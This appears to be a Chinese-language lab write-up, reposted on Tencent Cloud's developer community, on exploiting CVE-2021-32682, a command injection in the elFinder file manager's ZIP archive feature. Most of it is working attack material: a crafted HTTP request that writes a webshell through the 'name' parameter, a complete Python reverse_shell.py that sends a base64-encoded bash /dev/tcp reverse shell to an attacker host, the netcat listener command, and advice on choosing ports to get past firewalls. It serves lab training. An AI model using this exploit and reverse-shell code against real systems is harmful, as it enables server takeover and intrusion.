
CVE-2021-32682 是 elFinder 文件管理器在处理 ZIP 压缩功能时存在的任意命令注入漏洞,其触发需满足以下 3 个核心条件:
connector.minimal.php 接口(该接口是 elFinder 后端核心交互入口,负责处理文件操作请求,如创建、压缩、删除文件等),无需额外身份认证或仅需低权限即可调用。archive 命令对应的 name 参数值 —— 该参数在未修复版本中未做严格过滤,允许注入特殊字符与系统命令,为漏洞触发提供入口。connector.minimal.php 接口发送 cmd=archive 请求,同时传递 name(压缩包名称)、target(待压缩文件标识)、type=application/zip(压缩格式)等参数。name 参数值直接拼接进系统 zip 命令中,用于生成指定名称的压缩包。例如正常场景下,参数 name=test.zip 会拼接为 zip -r test.zip [待压缩文件路径] ;但由于未对 name 参数进行过滤,攻击者可注入命令分隔符(如 ;、|、$() 等)与恶意命令。name 参数(如 -TvTT=id>shell.php # a.zip),可篡改原始 zip 命令逻辑。其中:-TvTT 是 zip 命令的调试参数,用于输出详细压缩日志;=id>shell.php 会将 id 命令的执行结果写入 shell.php 文件;#是 Shell 注释符,可忽略后续无关内容(如 a.zip),确保恶意命令单独执行。www-data 等服务权限执行,攻击者可通过该漏洞实现任意命令执行(如写入 Webshell、反弹 Shell),最终获取目标服务器的低权限控制权,若存在权限提升漏洞,还可进一步获取 root 权限。!quote 参考文档 NextCyber Academy - 任务详情
# 攻击机地址
10.132.1.111
# 靶机地址
10.22.194.49访问靶机页面:

1.txt和2.zip两个文件1.txt是创建的一个空文本文件,将该文件压缩为2.zip:

发送如下数据包
GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: 10.22.194.49
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f1e6da9afce4dfceddb4ebed7f22f142
Connection: keep-alive成功执行,虽然提示errArchive:

http://10.22.194.49/files/shell.php
# 回显内容,显示RCE执行成功
# uid=33(www-data) gid=33(www-data) groups=33(www-data)准备EXPreverse_shell.py:
import requests
import sys
import base64
def show_usage():
print('Usage: python3 reverse_shell.py <lhost> <lport> <URL>')
print('Example: python3 reverse_shell.py 192.168.2.6 80 http://192.168.2.73:8080/elfinder')
sys.exit(1)
if len(sys.argv) < 4:
show_usage()
lhost = sys.argv[1]
lport = sys.argv[2]
URL = sys.argv[3]
# Build reverse shell command
rev = f'bash -c "/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"'.encode('utf-8')
# Base64 encode to prevent bad characters
payload = f'echo%20{(base64.b64encode(rev)).decode("utf-8")}%20%7C%20base64%20-d%20%7C%20bash'
ENDPOINT = f'/php/connector.minimal.php?cmd=archive&name=-TvTT={payload}%20%23%202.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip'
print("Sending reverse shell payload...")
print("Check netcat listener")
try:
resp = requests.get(URL + ENDPOINT)
# Debug
print(resp.status_code)
print(resp.text)
except requests.RequestException as e:
print(f"An error occurred during the request: {e}")
finally:
print("Finished.")# 攻击机地址
# 10.132.1.111
# 靶机地址
# 10.22.194.49
python3 reverse_shell.py 10.132.1.111 80 http://10.22.194.49:80先执行nc -lvnp 80,再执行EXP:
> python3 reverse_shell.py 10.132.1.111 80 http://10.22.194.49:80
Sending reverse shell payload...
Check netcat listener
200
{"error":["errArchive"]}
Finished.!warning 防火墙!!!
回弹的时候一定要注意防火墙问题!
我最开始尝试的是
python3 reverse_shell.py 10.132.1.111 5555 http://10.22.194.49:80,一直未能回弹成功。测试后推测是防火墙问题,通常情况下如果80未被占用,可以选用80端口回弹,因为80端口被靶机屏蔽的概率会比较低。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。